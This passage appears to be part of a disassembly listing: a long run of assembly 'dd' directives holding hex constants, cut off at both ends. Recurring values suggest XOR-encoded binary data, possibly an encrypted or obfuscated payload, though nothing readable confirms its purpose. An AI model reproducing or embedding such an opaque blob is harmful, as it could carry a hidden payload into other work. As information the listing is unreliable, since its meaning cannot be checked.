0A1B13256h, 8C05FD04h, 0BF8C19CFh dd 0AEB18470h, 57B1CBA3h, 0ABB13EBFh, 0D7931556h, 3EDEA76Ah dd 7C7563D3h, 0B5B13277h, 5DB13AD1h, 0AC3B3D56h, 37B13256h dd 42B13237h, 0D5B13251h, 0B7ED440Fh, 9C4F763Ch, 0BAB13247h dd 4AF69CAEh, 8251168Eh, 0A3024503h, 0BA0E8D7Bh, 0B5B13283h dd 0EAB13DBFh, 24B4D556h, 8781ED12h, 3867F5BFh, 8D933C29h dd 0AFB13237h, 0AC583256h, 76B13256h, 7C13B8F9h, 13D1B034h dd 26DD0ECh, 1A8CB588h, 0A1B13237h, 57B133DFh, 0AB4DCA56h dd 0DE3D3D56h, 3B13256h, 75B13250h, 9059A596h, 5DB1449Ch dd 0AEB0B859h, 574D3256h, 4D305256h, 0BA3A48B4h, 0EAB139BEh dd 0AD714E56h, 37263901h, 4A874823h, 1D61B330h, 57D06A63h dd 2AD75256h, 0B3350AB8h, 2452C4D7h, 8CB13237h, 35BE3256h dd 5DB1324Eh, 0AEB121BFh, 8EBA0356h, 923EAED9h, 4BCB3F93h dd 0A68DB9D9h, 741564F3h, 0BB323D36h, 0A8B13256h, 4F60B330h dd 57B153BAh, 0A9373D36h, 0B5B13256h, 0EAB8DA37h, 60DB3256h dd 8AB57FCAh, 0D7E5083Eh, 52D06DB9h, 52583256h, 55B13256h dd 0FC27E9BEh, 0EC583256h, 85B13256h, 0E418FFBEh, 863052D3h dd 8697EBA2h, 57B4B959h, 2AD73256h, 0B4EC4BB1h, 0E1583256h dd 0C5B13256h, 9629850Ah, 8044B57Bh, 0AEB160CCh, 57B123BFh dd 0D6F1DB56h, 2D4BE444h, 0F3F5996Ah, 98754799h, 3EBE82CFh dd 5DB13248h, 0AEA5DA36h, 0E86A3256h, 0A242C1CBh, 0DF5FBE20h dd 0AF1D1D3Ah, 63AF1386h, 0ECEEB4F6h, 5DB1530Fh, 5BB132A3h dd 58B132AFh, 0ABB128DFh, 0C13A3D56h, 3B13256h, 75B13259h dd 7C38030Ah, 0D85889FBh, 4546C442h, 57660A48h, 0ABB1CB56h dd 0D5B6DBAAh, 1CFE3256h, 0A2CEB61Eh, 43B132E0h, 5DBCB359h dd 47D13256h, 57B13250h, 57BCED21h, 0D5D01EF6h, 0EA4DCE56h dd 75B4DB56h, 32953256h, 5D07F33Ch, 0A6363D56h, 37B13256h dd 13D76805h, 0D5D08188h, 0EAB9DB56h, 0FC713256h, 74AB0491h dd 5DB1578Bh, 0AEBCB059h, 5F583256h, 79B13256h, 0FE871434h dd 0EA2A9B66h, 75A1DB56h, 3D23256h, 54FE4934h, 0B9A1F71Ch dd 0F8E0CCBDh, 0ABB1C8FEh, 0D33B3D36h, 6BB13256h, 66FA2886h dd 0BB313D64h, 0A4B13256h, 0A1B13237h, 57B133DDh, 0ABB1CA56h dd 0D5B137BFh, 0A84B56h, 75B11DA1h, 0B5B132AEh, 5DB13ADEh dd 0AC3D3D56h, 37B13256h, 42B13237h, 0D5B13246h, 7BE5BF32h dd 0A7265898h, 8CD7BFD8h, 3D1EEB3Dh, 18D13256h, 57B153EDh dd 0A4B132AFh, 0D5B13FD9h, 320A5256h, 0F4D3C10Eh, 8AA09BA0h dd 5DB1530Bh, 0AEB0B959h, 57483256h, 0ABB1CB56h, 0B343B936h dd 8AD0FDDDh, 75B3B459h, 9C043256h, 0A1B13237h, 0AEB8BD59h dd 31D13256h, 0B336C5D7h, 0D5D05336h, 0EAB6DB56h, 0B79E3256h dd 0B8B9E76Ah, 0B4B1324Ch, 0AEB13246h, 84352E41h, 52B7F149h dd 0A8753756h, 690ABD18h, 7AD13256h, 0DBEE9E1h, 5DB153AFh dd 0CEB132AAh, 584E8559h, 0ABB131DBh, 1E0E3D56h, 3B13237h dd 75B1325Fh, 0F2AE6092h, 8A00B1B1h, 52B1329Eh, 57443256h dd 0ABB8DB56h, 0FA213256h, 229B116h, 755E08F3h, 0BAB1CA56h dd 5DB126BFh, 0C46B3656h, 4267C52Dh, 0F4A59EA6h, 0EC7328A4h dd 0D5DAEEE4h, 8CB13289h, 3AD13256h, 3BE214BCh, 5B1D1D7h dd 57B15308h, 42B132AAh, 0D5B13242h, 0D403C1D0h, 6B43A97Ah dd 0FF5B65B7h, 5BEEFA58h, 0BB636E0Bh, 0D1BE3256h, 0ABB1325Bh dd 0C2F48D36h, 6FBE5591h dd 75B13256h, 53B13237h, 5DB1325Fh, 2912A862h, 8373E58Dh dd 52B13298h, 0B3D13256h, 6AD1CCDDh, 0FEBE3A94h, 0BAB13256h dd 5DB15337h, 0AEB0BC59h, 57493256h, 0ABB1C756h, 0D5B134BFh dd 6DB5B856h, 7538FB34h, 0BAA5DB56h, 0F5CE3256h, 0B26F02BCh dd 8F2C30CBh, 4113E45Ch, 6B60EFB4h, 0EAB191D6h, 75AAB459h dd 39BE3256h, 5DB13243h, 0AEB122BFh, 7619C56h, 3BBC9985h dd 0A9EF1C08h, 688075EEh, 72595261h, 74B13256h, 54A67CA3h dd 11D7D934h, 0D7EECF97h, 0ABD076A2h, 5305256h, 0B1FC6AABh dd 75B5B059h, 2D73256h, 5DD08EABh, 0AEBFDB56h, 5A9A3256h dd 82E85D46h, 66A81207h, 5C5DEB80h, 0F9BE3256h, 0BAB1324Dh dd 4E58CA36h, 6DB13256h, 0FA2D47C1h, 0EF004CFFh, 91ECCC69h dd 3AC0BF0Dh, 75D0A9EBh, 0B158CE56h, 1B13256h, 0BF9DEEDBh dd 9C7908F2h, 0ABB119CAh, 0D5B4DB36h, 0CC853256h, 144C04F6h dd 52D13256h, 5DB13247h, 0E78330E6h, 8FAC9F3Eh, 901DD7DCh dd 0FE2EE64Fh, 9C33889Dh, 7AEA0BF4h, 0BAD0F5E1h, 46353D56h dd 0A1B13256h, 57B127DDh, 0ABA1DB56h, 0CEAE3256h, 0D0C6A427h dd 9A924A8Fh, 0AAB51F35h, 5DB13D4Ah, 0AEA0BE59h, 0D5BE3256h dd 0ABB1325Dh, 0D5B134BFh, 4CED4356h, 75991958h, 0BAB1C756h dd 0B4B132AEh, 0AEB1325Ch, 0C40E038Ch, 6105C1E6h, 0D5B17F06h dd 0E5B132AEh, 75B133D1h, 0BAB1CB56h, 0B4B132AFh, 0AEB13247h dd 1439715Eh, 0E5EF825Eh, 0C42454BCh, 0F0882885h, 15B13291h dd 0DCE6F3DDh, 7BDA0E9h, 0A1B13237h, 57B133D0h, 0ABB1CA56h dd 29B132A3h, 2B3A5436h, 75B13CBEh, 5E2D4456h, 0C412A6A8h dd 8F1D3988h, 581D6134h, 0CAE9F1E1h, 0D5493256h, 0FA585256h dd 0F6B13256h, 476C24D3h, 4B4F6429h, 44CF1216h, 3105B560h dd 7794D4D7h, 2DB13237h, 64BE3256h, 75B13247h, 0BABABB59h dd 5B583256h, 77B13256h, 8E61DF93h, 42B13280h, 0D5B13247h dd 92E44D44h, 3ADFBF9h, 0AB227C6Fh, 603FF017h, 47B132F1h dd 57B13253h, 28F483B7h, 0C6585219h, 0B1B13256h, 805B1599h dd 0C940DE14h, 0D6B94687h, 0F4E954A1h, 0DABEDB61h, 0ABB13250h dd 0D5B1B559h, 0EAD03256h, 5F3A3D56h, 0DAB13256h, 5DB122BFh dd 0F765E156h, 129CB8C6h, 0CC280861h, 0C58558BBh, 0EABFDBFAh dd 0D6303256h, 0ED8788E2h, 485ABBFh, 2ACABE6h, 0AEB13237h dd 0CDD13256h, 5E3999E8h, 0EAB1538Eh, 15B132AFh, 36A58D30h dd 3C48B930h, 0BA583256h, 0E2B13256h, 6DDBF5ABh, 7D09359Eh dd 8DDA763Bh, 0DCAC76C9h, 0BAE83118h, 5DB1CB56h, 57B132AAh dd 57B13EBFh, 49E2CA56h, 8227A3BAh, 5388A91Fh, 8DB1323Eh dd 0BA493256h, 5DB6DB56h, 0E1593256h, 72EA2E4Ah, 42B132CFh dd 0D5B13247h, 978D980Bh, 6B36C260h, 3CEFCA2Ah, 0E7C4FF0Ah dd 0CEB1325Bh, 57B3B459h, 0CAD13256h, 2DB13237h, 0EA4D3256h dd 79353D56h, 0B5B13256h, 5DB134DCh, 0AE3C3D56h, 58B13256h dd 0ABB13ED6h, 54D75256h, 8CD82DB4h, 0DBC2D9D7h, 42B13237h dd 0D5BE3256h, 0AEB13257h, 58B132AAh, 0ABB126D7h, 0D5BEDB56h dd 0A3F73256h, 9F1E3172h, 0F51919Bh, 0D772310Eh, 0A1B13228h dd 57B12EDEh, 42495256h, 0D5B13242h, 4D698244h, 8303295Ch dd 68A93C3h, 17DCCC99h, 42002497h, 37B13237h, 0AE59C3DDh dd 9FB13256h, 0C2AB2D0h, 0B65BE4D7h, 0DBEA0D53h, 5D483256h dd 0AEBBDB56h, 8F9D3256h, 3FF7BD75h, 49FE5A9Dh, 0ED583256h dd 0CB13256h, 1CD5BC1Dh, 5DB1E6D0h, 0AEB0B359h, 57483256h dd 29BE5256h, 0D5B13253h, 0ED70B330h, 75B15361h, 43B132AAh dd 55583256h, 0B0B13256h, 1BFB94B6h, 0AB9105ADh, 0D5A1DB56h dd 0C2B93256h, 0B983E5DDh, 47E7FEDBh, 744DD63Ch, 0AEB16988h dd 81063D36h, 0ABB5B159h, 6AD73256h, 0EAD0B913h, 0F4485256h dd 0F111D790h, 0D9BE532Eh, 0AEB13257h, 0BEB132AFh, 0ABB13258h dd 102FA29Bh, 56A730BAh, 6442C9CEh, 0BAB13F77h, 3DB132A3h dd 0AEB138BFh, 0BFE84E56h, 0CE39373Ah, 0B3AED8A7h, 8BA100EDh dd 75483256h, 3BD75256h, 527E57BFh, 0AEB130D9h, 36EB6556h dd 0AB483256h, 0D5BCDB56h, 79533256h, 31D0FD93h, 8C0CBF39h dd 0A4E77866h, 474D3256h, 57B13242h, 0BF91C481h, 0A4655975h dd 0F87D3BAFh, 2B3B91F9h, 0B4559E76h, 3D483256h, 0AEB138BFh dd 34E6D256h, 5BED6943h, 3C9E221Bh, 0EAB1325Eh, 0DE84AD08h dd 0ABD91FE9h, 0A1B13237h, 0AD383D36h, 31B13256h, 42D1C5DDh dd 0D5B1325Ch, 6ACA5F3Fh, 105B4510h, 0DBD0154Dh, 4C583256h dd 2DB13256h, 4C17D192h, 64715B38h, 0AA9D30E4h, 0B5D9C999h dd 75483256h, 0B8393D56h, 3DB13256h, 0B43B3D37h, 58B13256h dd 0ABB126DAh, 0D5BEDB56h, 7FA63256h, 454DCF1Eh, 8365C106h dd 0DE975B5Ah, 47B13230h, 57B1325Ah, 6472858h, 8D485C3Dh dd 875A8E21h, 15D13256h, 0BAB1B659h, 0A33B3256h, 663A5437h dd 0BEB13237h, 0ABB13246h, 0D89FADE7h, 6093AD83h, 790CC111h dd 0BC2E6BFBh, 4C583256h, 87B13256h, 0DDD54098h, 45B9D39Fh dd 559DAFF8h, 7A1D5E97h, 0F643B236h, 0A451B330h, 5DB15311h dd 0AEB121BFh, 77B96156h, 0ACC94F60h, 0C331993Eh, 93E9A974h dd 7997AAB7h, 0ED13256h, 9F41B311h, 0CFAFA292h, 57443256h dd 0ABB1CA56h, 0D5B121BFh, 989ADA56h, 1F0BB209h, 0BD7E890Dh dd 9E8958CFh, 91E396FFh, 57A8BB59h, 0BF583256h, 0FBB13256h dd 0E816922Bh, 0E3108419h, 15FA5AF1h, 0E10FE7D4h, 0AE7D7736h dd 5D3B3D56h, 42B13256h, 0D5B13253h, 22EE9828h, 80B132A0h dd 0DCD13256h, 81B4E4D7h, 0AEB134BFh, 0C5317556h, 0CA013E7Ch dd 3CD13256h, 0EAB1325Eh, 21948E4Fh, 678DB81Fh, 5DA3B359h dd 0A2593256h, 4AB13256h, 7520B63Ch, 8FF79FE5h, 0B392C703h dd 7AB13237h, 0BAB135D4h, 5C3A3D56h, 52B13256h, 0DBBE3256h dd 0ABB13257h, 0B5B132AEh, 0EAB139BEh, 0BF5CF556h, 0EB1E8249h dd 0AF5A4918h, 0CEE95336h, 76178CA3h, 0CAD076DCh, 0D5443256h dd 6DBE5256h, 75B13250h, 2384E0D7h, 5B580C84h, 0CCB13256h dd 1F79C3E5h, 0ABB15360h, 0D5B121BFh, 0D5ABB356h, 9F83C22h dd 0BAAA023Bh, 0ABF76381h, 92A43897h, 52353D36h, 0CDB13256h dd 0A486DCD7h, 0EAB13FBFh, 14158456h, 57050E45h, 79CDB8DFh dd 0AED0B3C2h, 593C3D56h, 0CBB13256h, 0D5B134BEh, 0C1370556h dd 2CAFE836h, 0B5B13237h, 5DB138DCh, 5C3A5256h, 57B1BB59h dd 0ABD03256h, 0D54DCB56h, 0E43C3D56h, 9CB13256h, 0BAB1325Fh dd 0E0BB4BF5h, 0F48D4BCBh, 0DCD75255h, 0BB363DAEh, 3CB13256h dd 0EAB1325Dh, 3F5A81AAh, 6E4C0249h, 3CD35D85h, 0FED13256h dd 36E96804h, 0AB483256h, 0CD353D56h, 0E5B13256h, 75B120D5h dd 0BABCDB56h, 0F2D03256h, 840FA9AEh, 63C9C616h, 0CBF210B8h dd 3CADEFD6h, 0EAB13247h, 6D4A0CBh, 0B9B8B4D3h, 0E1A2D3D4h dd 3D3E2431h, 57B15316h, 0A4B132AFh, 0D5B12ADAh, 0EAA2DB56h dd 0AC0C3256h, 0BFC07AEFh, 0A58EDCADh, 0AA02B5DDh, 39795598h dd 42B132EEh, 0D5B13244h, 968BF258h, 52E176A2h, 2C281993h dd 8D8321D9h, 0AEB1B462h, 0BEB132AAh, 0ABB1325Ch, 7A5C188Bh dd 0BC95E4E2h, 75B1B9D3h, 0BAB122BFh, 0C17DA156h, 846DD10Ch dd 461F28C0h, 32B3B340h, 0B5B13249h, 0EAB3B459h, 14D13256h dd 0DB7AB930h, 49583256h, 2DB13256h, 62DC197Fh, 871768A7h dd 0EC047175h, 0ED497915h dd 759A48BEh, 0BAB1C756h, 5DB13BBFh, 0E8D51C56h, 0FDF9AB5h dd 0ABB17904h, 0D5BDDBAEh, 8CFD3256h, 76E29581h, 73DF895Ah dd 5DB1E93Bh, 0AEBDB259h, 0D4BE3256h, 0ABB13250h, 0D5B1BE59h dd 0E7583256h, 16B13256h, 3EEB2D02h, 0C0696457h, 2EA84D70h dd 574D3256h, 0AA383D56h, 2CB13256h, 0E0583256h, 0C3B13256h dd 0A53DEFC9h, 75C2554h, 47B132FCh, 57B13259h, 0E5298BDFh dd 0B7E049AAh, 0F486EB75h, 753B78FAh, 0BABBDB56h, 0EA263256h dd 1B9CC8BBh, 0C82D4DD5h, 0ABB6BA59h, 5CBE3256h, 0EAB13257h dd 9CB132AFh, 0BAB13258h, 0E0CE5830h, 2F1AD5F6h, 69C45B2Bh dd 0ABB1575Bh, 0D5B120BFh, 0AE3F5956h, 2728AD04h, 17EFF394h dd 0E646F455h, 0AE1780BDh, 57BCDB56h, 0A69D3256h, 1E8A24ADh dd 0B7894617h, 7548C938h, 3BD75256h, 3CA651BCh, 0AEA9B759h dd 44583256h, 62B13256h, 0F7D4E93Bh, 9079719Eh, 0D0251A5Dh dd 0B008C978h, 5DB104ABh, 0A458C736h, 0AAB13256h, 8AFFE551h dd 0E775167Ah, 0EAB1531Dh, 7AB132A3h, 0BAB12ED5h, 0DCD75256h dd 4705FAB4h, 57B13246h, 0E3C2209Eh, 6FF3F1ADh, 0AE131262h dd 0DEC9A320h, 0BAB1CB37h, 0A8B132AFh, 0BF583256h, 42B13256h dd 0C0D5EB08h, 9E50F811h, 107C7940h, 8A06DB5Bh, 0A9583256h dd 0E9B13256h, 0BB39A781h, 7CDEC064h, 3F354DEDh, 0E4920877h dd 0EAB1FD50h, 15B132AFh, 0DE993BEEh, 5DB15376h, 0AEB0B359h dd 57493256h, 29BECE56h, 0D5B13257h, 8AB132AEh, 7A5EF1D6h dd 0BAD0E5E1h, 4E353D56h, 47B13256h, 57B13258h, 7968B6A4h dd 615611A6h, 0E16CDE38h, 75B1C9F3h, 900E5436h, 5DB1539Ah dd 0AEA2B159h, 59583256h, 0C7B13256h, 0D583672h, 0B98646E0h dd 0CDCB9D05h, 9B353DF3h, 3DB13256h, 0AEB1BE59h, 44593256h dd 0FCB13256h, 70FA7CB7h, 79E3C26Dh, 0BDA3F563h, 0E957C005h dd 3CE86E06h, 0A7583256h, 0C9B13256h, 1A396317h, 222ABD78h dd 0FA583256h, 2FB13256h, 5338982Eh, 0D44241FDh, 11976F16h dd 57F7A568h, 424D5256h, 0D5B13242h, 397EF51Eh, 4FBBD6EEh dd 0E7A820A8h, 4E742D53h, 8516AD56h, 0AEB13237h, 2AD13256h dd 0FF6D4D97h, 0EAB1531Ah, 7AB132A3h, 0BAB122D6h, 5DBADB56h dd 7D9D3256h, 11626F51h, 0D73123C6h, 3CB1322Ch, 0EAB1325Bh dd 5F3D40F0h, 67D86730h, 0B507C6B0h, 47B13215h, 57B1325Ah dd 1B266A4Fh, 615EAC1h, 8FC2F7E9h, 0F9BE3256h, 0BAB1325Ah dd 5DB7B759h, 29BE3256h, 57B13256h, 0AB4D3256h, 0D5B1CB56h dd 2A063D36h, 1460B930h, 0DAD13256h, 0B46A8D59h, 0AEB13246h dd 177A9E03h, 3AC32FD9h, 0F650806Ah, 0BA312770h, 14828637h dd 0BAA5B659h, 52583256h, 0B2B13256h, 44C687EFh, 647E21ACh dd 7BA3579Dh, 0EAB1668Fh, 75BEDB36h, 0C6A43256h, 47C2166Fh dd 0C0679C0Fh, 0ABAF35E8h, 0CA43B97Dh, 0C4583256h, 0F7B13256h dd 10FB9BE7h, 17FBD3EDh, 1FF34921h, 711C50D5h, 47583256h dd 3DB13256h, 844D1E8Fh, 0CFD379ABh, 0C598742Ch, 0BA94FD9Fh dd 0DFBE5256h, 0AEB13255h, 0EEEADFD6h, 0C47E3A17h, 3CB13237h dd 0EAB13245h, 3A733A43h, 0F5318820h, 56FCFF12h, 0BC0CA3E3h dd 0BED67E40h, 0ABB13244h, 130E0C41h, 0A01FB7DDh, 9F8B6C12h dd 0DAD2867Ch, 5DB136F4h, 0AEBBB459h, 0E5D13256h, 0AB3B3DA1h dd 0B4B13256h, 52D13256h, 1EBA49EEh, 0BAB13FBFh, 54E3A56h dd 73805A1Bh, 2B0E46E8h, 0ABD0085Dh, 0DE595256h, 0B3B13256h dd 2990674h, 0DAA3DD5Ah, 3CD1072Dh, 740E5408h, 57B1539Ah dd 0AA3D3D36h, 20B13256h, 356B0FE8h, 7058534Bh, 0E4B13256h dd 70C3F3D8h, 29BE3256h, 57B1324Ah, 0A468B336h, 3CBD865Ah dd 0EAB13259h, 662D6184h, 6CC292DFh, 1C67B9CFh, 0CF33C90Fh dd 0D3BE3256h, 0ABB13251h, 0D5B0B159h, 0EA443256h, 75BDDB56h dd 0B113256h, 6C3538A0h, 2CED9F77h, 57B100A2h, 0ABB120BFh dd 0A352E656h, 62FD83A0h, 0E95AFF74h, 8D84B11Dh, 5DBBCD7Ch dd 7E3A5256h, 0D33E8B30h, 2AE25237h, 5349779Dh, 6D02692Ch dd 9CB13237h, 0BAB13258h, 0E1EA0799h, 2E196739h, 0DB5BDE3Bh dd 0ABB176D4h, 0D5A5DA36h, 19D63256h, 73C8950Bh, 0F5014D11h dd 0F5B0AC22h, 0A82D4ADAh, 4458C51Ah, 0A3B13256h, 5EEA28F3h dd 52C3886Eh, 3700663Bh, 7F415686h, 3CEE7A58h, 7D7A8936h dd 2D0F71EFh, 0CA8B54F1h, 0D5493256h, 0E4373D56h, 9CB13256h dd 0BAB1325Fh, 5D62C16h, 43C78A73h, 57B1CB15h, 0ABB138BFh dd 5303B956h, 1FDFDD6Eh, 7518E3B8h, 0B1353D56h, 0B4B13256h dd 0AEB13250h, 18068B28h, 0ABB15D43h, 1F71B236h, 345EB330h dd 75B15315h, 0BAA9B359h, 4E583256h, 39B13256h, 74871CB0h dd 678A231Bh, 0A2A55672h, 8ABEB68Eh, 0F5D10C08h, 31BE98BFh dd 5DB13254h, 0AED05336h, 0B9315256h, 2AD15323h, 3FEDDCB9h dd 2A063D04h, 15B13237h, 0D711F8D7h, 57582592h, 0ABB13256h dd 0E88682A1h, 8E526B0Fh, 0D5B15347h, 0EAA0BB59h, 0F6BE3256h dd 0BAB1325Dh, 5DB134BFh, 72A54956h, 57340673h, 0ABB7DB56h dd 8EFF3256h, 8BAE3389h, 9CB132AFh, 0BAB13245h, 0B00C2859h dd 71DA0E6Eh, 2D65AC07h, 0F1AD3F29h, 0D5499C35h, 0E1333D56h dd 15B13256h, 0B55ED2D6h, 5DB132D9h, 0AEB15356h, 57B0B159h dd 0AB443256h, 0D5BADB56h, 172B3256h, 11603150h, 13A834B5h dd 3DB13274h, 82275EEDh, 963A5403h, 0CBB13237h, 0D5A1DA36h dd 0F9CF3256h, 1DBDD065h, 0E32CEF20h, 377EBA39h, 0C8E88DC8h dd 368BC1EEh, 0ABB3BD59h, 0B4D13256h, 8AE05237h, 0FDBE6C37h dd 0BAB1325Bh, 5DB135BEh, 8C1B7156h, 4F70C6F1h, 0ABB15308h dd 0D5B13FBFh, 0D1FEEF56h, 0A6AFE644h, 0EE948E4Fh, 5DB1B81Fh dd 0AEB139BFh, 3146856h, 0CC61699Fh, 95A4543Ch, 61BE3256h dd 75B13257h, 53B132AEh, 5DB13242h, 0C88F1EE5h, 2105BDB7h dd 454250D7h, 0B6539A31h, 0B2524420h, 75493256h, 0B6313D56h dd 52B13256h, 0AEB134DCh, 573F3D56h, 0ABB13256h, 1A3A5256h dd 8CE35237h, 7AEEE2DDh, 0BAD0F3E1h, 5DB1C756h, 0AEB120BFh dd 50AC3056h, 0CC326FE1h, 0F99B8071h, 420C85B1h, 754BD1EEh dd 0A53B3D56h, 52B13256h, 0AEB12BDCh, 57A5DB56h, 1E1D3256h dd 8780C5DAh, 0A3B940BCh, 0B75663F0h, 293F7292h, 5DB15807h dd 0AEA6B959h, 45583256h, 92B13256h, 9159535Dh, 579789D2h dd 3A267F57h, 0AAC27A3h, 0B4B1324Bh, 0AEB1325Fh, 0ED6F14ECh dd 84634C0Eh, 0DAB13264h, 0EAB133DAh, 24D1CA56h, 0E150C2D6h dd 3C77B930h, 0BF583256h, 4EB13256h, 0D726F671h, 5BAD73F5h dd 0C3831021h, 0E08587B2h, 43B132AEh, 49583256h, 6AB13256h dd 0EB4948B9h, 46A1A9CCh, 69AC7Bh, 0D47673EAh, 75B1D539h dd 0BAB1CA56h, 5DB139BFh, 37DB0256h, 8D7A6C61h, 56E30C1h dd 5DBE3256h, 0EAB1324Eh, 0C169B236h, 0BAB13CBFh, 0B4A50456h dd 80AA545Eh, 62940D07h, 0CA09F16Fh, 0D5BADB36h, 13DA3256h dd 16E35265h, 0FF4BE770h, 5DB1DA48h, 2FEB3256h, 7F0378BCh dd 0A63A3D50h, 0B5B13256h, 5869B330h, 753A3DDAh, 0DBB13256h dd 5DB0BD59h, 0A1443256h, 57B138D9h, 0CAD15256h, 0D5B1B059h dd 67D03256h, 5214F9D3h, 0B6343D50h, 0B4B13256h, 0AEB13251h dd 0FC420701h, 532754BBh, 4F82B0DFh, 0EC58347Eh, 3CB13256h dd 4503A8EBh, 5DBFDB94h, 0FC623256h, 0BDB7A072h, 3B60AB8h dd 16217AD4h, 8D1FB0DBh dd 0FC48347Fh, 922B61D4h, 8E3B5250h, 945AB330h, 255953DBh dd 57B13260h, 0D5B3A7BEh, 6876CA56h, 7399ABC2h, 0BAB13256h dd 5DB6B959h, 0CED13256h, 0CC42B237h, 0CB4D6037h, 0D5B138BEh dd 581DD456h, 13415D27h, 52DAA0A5h, 5DB1325Fh, 38EC4218h dd 0B6B34B3Dh, 0F8E86CC5h, 0D5B1B259h, 8BE83256h, 46B8B790h dd 4FE73474h, 0F509603Eh, 0A4373DCAh, 37B13256h, 0CD468559h dd 2DC5FDD7h, 0A304CD37h, 15B71070h, 9179B330h, 3C43B953h dd 0D30FB7DBh, 0A8493473h, 2E38CA86h, 0D39312BBh, 0EABADB36h dd 0F9773256h, 0A25BF288h, 9ADAD6E1h, 2BBE536Eh, 57B1325Dh dd 0ABB134BFh, 65132656h, 80BABC1Eh, 75BFDB52h, 0A0093256h dd 249449A6h, 63DD2222h, 86A3D53h, 0ABB126BFh, 0C0802256h dd 0B72208A7h, 38444551h, 1E51DE95h, 0AE38764Dh, 0BEB15AE9h dd 0D7BE3256h, 0ABB1325Dh, 0D5B134BFh, 0D6A43856h, 1D281F00h dd 0BAB23F16h, 5DB13ABFh, 0C769F056h, 0A27874CCh, 0A4B15839h dd 0D5B134D5h, 6F005256h, 8AD05336h, 0B5EBCA86h, 5DB139D1h dd 0AEB7DB56h, 33803256h, 0F092F615h, 51BEF25Dh, 0EAB1336Ah dd 75B122BFh, 60B54D56h, 8B46493Ch, 0BA1DC243h, 95ABC009h dd 0ABA2DB6Fh, 0BFE83256h, 88B7E82Eh, 933FCF04h, 0C1C973B1h dd 22D104BBh, 3A33BBC5h, 37B71ACFh, 0ABB139BFh, 0C970A256h dd 0F8093358h, 5C524F55h, 0DBCAF1D6h, 0C40BB0DFh, 0BF58347Eh dd 7AB13256h, 0F15AD1E1h, 3C38982Eh, 634241FDh, 0CA976F16h dd 0B9BC72EFh, 0A53AC756h, 0BF3C3D36h, 0BEB13256h, 0ABB1325Ah dd 138F3ECEh, 0CC71F812h, 0A4A5CC32h, 0DBFBEAD7h, 6ED01244h dd 0AEBADB96h, 0F4AC3256h, 13CB8A6h, 317C579Ah, 0E51BC19Fh dd 75B13ED7h, 0BC373D56h, 52B13256h, 0AEB132D1h, 0D5BE6056h dd 0ABB1325Ah, 0D5B7BC59h, 67BE3256h, 75B13256h, 3BD1363Ch dd 84415595h, 0BD586244h, 0E7B13256h, 453AC3E2h, 8A5F69D9h dd 6C20CEBAh, 3F2DEE0Bh, 0DBEA184Ch, 5DA1323Eh, 0AED9CE56h dd 0AEB13252h, 0AE58323Ch, 0B2B13256h, 0A7C566CCh, 0FE66B936h dd 284E53A8h, 5B9312BBh, 0AEA3BF59h, 5A583256h, 2AB13256h dd 0B26EE35Ah, 0FB146B15h, 0F0342295h, 0BABADB0Ch, 4B453256h dd 18B6D478h, 0EFC90A3Fh, 3633BB05h, 20B71ACAh, 0EABDDB37h dd 64973256h, 136E0188h, 0A591D8EEh, 2B3A4AD4h, 5199ABC2h dd 0AC59CB36h, 2FB13256h, 0FCA6679Ah, 0F9BE1CE9h, 0BAB13256h dd 3D72530Fh, 49909FEDh, 37D15310h, 0ABB4B859h, 54D73256h dd 26CBB9Eh, 75B13245h, 0CDB149BBh, 9ADFA3A2h, 8C690D3h dd 3892CAF1h, 1D7A8664h, 12D06BE9h, 0C8A5A7D4h, 35B13250h dd 0BB333D56h, 0A4B13256h, 0A048B091h, 47B13474h, 0CDD13256h dd 4F66C5D7h, 8CD153AEh, 1336C5D7h, 0DBD09DE0h, 5DB6DB36h dd 8E93256h, 39625764h, 0A6586507h, 42B13256h, 437870D6h dd 24777724h, 30D1C951h, 3D72530Ch, 0F20BDCD7h, 0D9BE3B27h dd 0ABB13252h, 11F48B30h, 8CD15237h, 7959FCDDh, 0C7B13256h dd 0CF8AFDE9h, 0AF84CF55h, 379CA0C3h, 20D06D37h, 0FD28A6ECh dd 0EAB8DB50h, 0EDC63256h, 597755BAh, 0DE162E7Eh, 2ABE3269h dd 57B132B7h, 0ABA8B459h, 0C1583256h, 94B13256h, 0B300859h dd 0AC1DB80Fh, 1D5E58E0h, 0F0FB215h, 0D47A1E58h, 0A4B32229h dd 0D5B156D2h, 0EAA1DB56h, 55733256h, 0B7008B36h, 5058E178h dd 0D74F7180h, 0D44D1B49h, 0A4B52229h, 0D5B15ED2h, 66BEC756h dd 75B1325Eh, 0BAB3B659h, 3CD13256h, 0CEA5F5D5h, 0A5AD52EDh dd 0AB353D20h, 0B4B13256h, 154EB8BFh, 452A9h, 0B5D0CCDCh dd 5DB126D3h, 0AEBEDB56h, 4E5D3256h, 0AF085F31h, 2B3A533Ah dd 0FF0B1FA7h, 65F6F5FAh, 0BAB13257h, 5DB9B059h, 21BE3256h dd 57B13254h, 1A585336h, 294ECDA9h, 0EAB13ABFh, 5AD3156h dd 5C021B0Dh, 4DF6F5A4h, 0AEB13255h, 57BDB559h, 23BE3256h dd 0D5B13250h, 0EAB1BF59h, 0CCD13256h, 0B72E0BAAh, 83A3C1D7h dd 47D00388h, 0A84ECD2Eh, 0A4D153AFh, 0D5B134D6h, 0EA3A3D56h dd 7AB13256h, 0BAB134DBh, 5D353D56h, 0CFB13256h, 56323D95h dd 52B13256h, 0D5B4DB03h, 0DF2F3256h, 0FEE53532h, 793B52BAh dd 0B54D5237h, 0AEB13256h, 1B5BB30Ch, 42B71AE1h, 0D5B13253h dd 3048E21Bh, 6C373D9Bh, 53B13256h, 5DB13242h, 12E77F50h dd 4DB0520Eh, 0FDF4B0E9h, 0B33F4FD2h, 0BD21EEE7h, 0E91C80DDh dd 3DBE347Eh, 5DB13257h, 0EB3ACBAAh, 5138CE5Eh, 0ABB120BFh dd 88B3EF56h, 9000EE36h, 0CB14967Ch, 7C0D565Ah, 0DE6AC2ECh dd 862D9FD4h, 46583650h, 0F2B13256h, 4CC046FEh, 92FF8E7Ah dd 33FBF2A8h, 0A08EF2AFh, 0B478CE37h, 0AEB13242h, 0D22480BEh dd 138FF1Eh, 0AF45F8F6h, 0C0E343C9h, 460BE91Ah, 0DAB13694h dd 9460B201h, 0AEBDDA09h, 979C3256h, 7AA3E35h, 3B0EE4C7h dd 0ED58E2EDh, 3FB13256h, 8555F9A6h, 3CEF2388h, 0AABD8936h dd 0DCD72677h, 42D15391h, 0D5B1325Bh, 6143645Dh, 0F17B62A7h dd 73853B27h, 5DB1DAADh, 2FEB3256h, 7F0918BCh, 2AD75250h dd 0B4018596h, 0EAA2DA36h, 94A53256h, 